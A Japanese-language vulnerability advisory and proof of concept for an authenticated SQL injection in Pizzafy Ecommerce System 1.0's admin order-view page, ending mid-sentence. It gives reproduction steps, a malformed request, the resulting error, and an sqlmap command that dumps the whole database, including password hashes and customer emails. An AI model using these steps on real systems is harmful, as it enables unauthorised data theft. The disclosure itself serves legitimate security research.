
admin/view_order.php| フィールド | 値 |
|---|---|
| ベンダー | SourceCodester |
| 製品 | PHPとMySQLを使用したPizzafy Ecommerce System |
| バージョン | 1.0 |
| 脆弱性 | SQLインジェクション |
| CWE | CWE-89 |
| CVSSv3スコア | 7.2 (高) |
| 攻撃ベクトル | ネットワーク |
| 認証要件 | あり(管理者) |
| 研究者 | Xmyronn |
| 日付 | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
ファイル: Pizzafy/admin/view_order.php
パラメータ: id (GET)
Pizzafy Ecommerce System 1.0のadmin/view_order.phpエンドポイントは、id GETパラメータをMySQLクエリに渡す前に適切にサニタイズしていません。認証された管理者がこのパラメータを操作して任意のSQLを注入でき、データベース全体を危険にさらす可能性があります。
以下にアクセスします:
http://localhost/pizzafy/Pizzafy/admin/index.php
管理者の資格情報でログインします。
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
任意の注文エントリのView Orderをクリックします。

傍受したGETリクエストは次のようになります:

id=1をid='に変更します:

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
レスポンス — MySQLエラーが露出:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
リクエストをview_order.txtに保存して実行します:
sqlmap -r view_order.txt --dump --batch
sqlmapで確認されたインジェクション種別:
| 種別 | タイトル |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE clause |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | Generic UNION query — 11 columns |
データベース全体のダンプ:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
露出した機密データには、bcryptパスワードハッシュ、顧客メールアドレス、注文詳細、システム設定が含まれます。
悪意のある認証済み管理者(または管理者資格情報を入手した攻撃者)は、以下を行うことができます: